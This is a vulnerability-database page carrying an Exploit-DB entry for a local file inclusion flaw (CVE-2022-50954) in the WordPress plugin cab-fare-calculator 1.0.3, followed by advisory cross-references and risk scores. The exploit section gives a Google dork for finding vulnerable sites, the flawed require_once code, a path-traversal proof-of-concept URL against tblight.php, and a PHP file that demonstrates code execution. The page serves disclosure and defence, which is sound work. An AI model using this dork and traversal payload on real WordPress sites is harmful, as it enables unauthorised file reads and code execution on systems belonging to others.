WordPress Plugin cab-fare-calculator 1.0.3 - Local File Inclusion (LFI)
🗓️ 30 Mar 2022 00:00:00Reported by Hassan Khan YusufzaiType
exploitdb🔗 www.exploit-db.com👁 365 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2022-50954 | 10 May 202612:12 | – | attackerkb | |
| CVE-2022-50954 | 10 May 202614:48 | – | circl | |
| WordPress plugin cab-fare-calculator has a security vulnerability | 10 May 202600:00 | – | cnnvd | |
| CVE-2022-50954 | 10 May 202612:12 | – | cve | |
| CVE-2022-50954 WordPress Plugin cab-fare-calculator 1.0.3 Local File Inclusion | 10 May 202612:12 | – | cvelist | |
| EUVD-2022-55975 | 10 May 202615:31 | – | euvd | |
| CVE-2022-50954 | 10 May 202613:16 | – | nvd | |
| PT-2026-39479 | 10 May 202600:00 | – | ptsecurity | |
| CVE-2022-50954: Improper Control of Filename for Include/Require Statement in PHP Program | 10 May 202600:00 | – | rapid7 | |
| CVE-2022-50954 WordPress Plugin cab-fare-calculator 1.0.3 Local File Inclusion | 10 May 202612:12 | – | vulnrichment |
# Exploit Title: WordPress Plugin cab-fare-calculator 1.0.3 - Local File Inclusion
# Google Dork: inurl:/wp-content/plugins/cab-fare-calculator/
# Date: 24-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/cab-fare-calculator/
# Version: 1.0.3
# Tested on: Firefox
# Vulnerable File: tblight.php
# Impact:
Local File Read / Code Execution
# Vulnerable Code:
```
if(!empty($_GET['controller']) && !empty($_GET['action']) &&
!empty($_GET['ajax']) && $_GET['ajax'] == 1)
{
require_once('' . 'controllers/'.$_GET['controller'].'.php');
}
```
# Proof of concept:
http://localhost:10003/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/index&action=1&ajax=1
# POC Code Execution:
/etc/index.php:
<?php echo "Local file read"; phpinfo(); ?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.16.2
CVSS 46.9
EPSS0.03653
SSVC